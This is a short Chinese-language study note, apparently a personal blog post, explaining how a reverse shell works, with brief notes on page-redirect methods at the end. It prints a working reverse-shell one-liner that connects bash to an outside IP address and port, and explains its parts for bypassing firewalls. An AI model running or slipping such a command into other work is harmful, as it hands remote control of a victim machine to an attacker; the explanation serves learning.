反弹shell
最近看到的要用到反弹shell的地方比较多,这里做一个好好的理解
反弹shell的标准语句
1 | bash -i >& /dev/tcp/47.236.106.198/2333 0>&1 |
反弹shell的原因
目标主机由于防火墙受限制,权限等问题无法实现正向连接或不适合用正向连接(攻击者在自己的机器去连接目标机器),这个时候就需要去使用到反弹shell
反弹shell的本质
反弹shell的本质其实很简单,就是让目标主机(即受害者主机)主动连接到攻击者主机上,在通过攻击者主机的端口监听,实现从攻击者主机上连接到目标主机的服务器端,通过反弹请求,将攻击者主机上的命令传输到受害者主机上,在将回显返回到攻击者主机上,从而实现反弹shell
ok,我们回到我们的标准语句上来看
我们先来看bash -i
和 /dev/tcp/
bash 是linux 的一个比较常见的shell
-i 这个参数表示的是产生交互式的shell
/dev/tcp/
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
这里解释一个概念socket通信
socket通信其实这个是实现反弹shell的根本,通过建立socket通信,从而实现了受害者主机和攻击者主机之间的交互,其本质上就是一个传输作用上的通道,可以实现从受害者主机和攻击者主机两端之间的交互,从而达到我们需要的命令传输的目的
实际上,Socket是在应用层和传输层之间的一个抽象层,它把TCP/IP层复杂的操作抽象为几个简单的接口,供应用层调用实现进程在网络中的通信。Socket起源于UNIX,在Unix一切皆文件的思想下,进程间通信就被冠名为文件描述符(file desciptor),Socket是一种“打开—读/写—关闭”模式的实现,服务器和客户端各自维护一个“文件”,在建立连接打开后,可以向文件写入内容供对方读取或者读取对方内容,通讯结束时关闭文件
> 和 < 其实也很好理解,就是表明传输的方向
> :实现在受害者主机的执行指令在攻击者主机上的显示
< :实现攻击者主机的执行命令对受害者主机的传输
0::标准输入的文件描述符。
1:标准输出的文件描述符。
这里就比较形象的表达反弹shell的关系
输入0由攻击者主机上输入,执行结果1也是在攻击者主机上输出,从而形成回路,实现远程交互shell,答到反弹shell的目的
0>&1和0<&1**其实是一样的,这里两个**都是将文件描述符 n 复制到 m** ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开**因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
重定向
这里稍微记一下,感觉没有什么特别不好理解的地方
用HTTP头信息
1 | Header(“Location: $url”) |
用HTML标记
1 | <HTML> |
用脚本来实现
1 | “<SCRIPT LANGUAGE=\”JavaScript\”>location.href=’$url'</SCRIPT>” |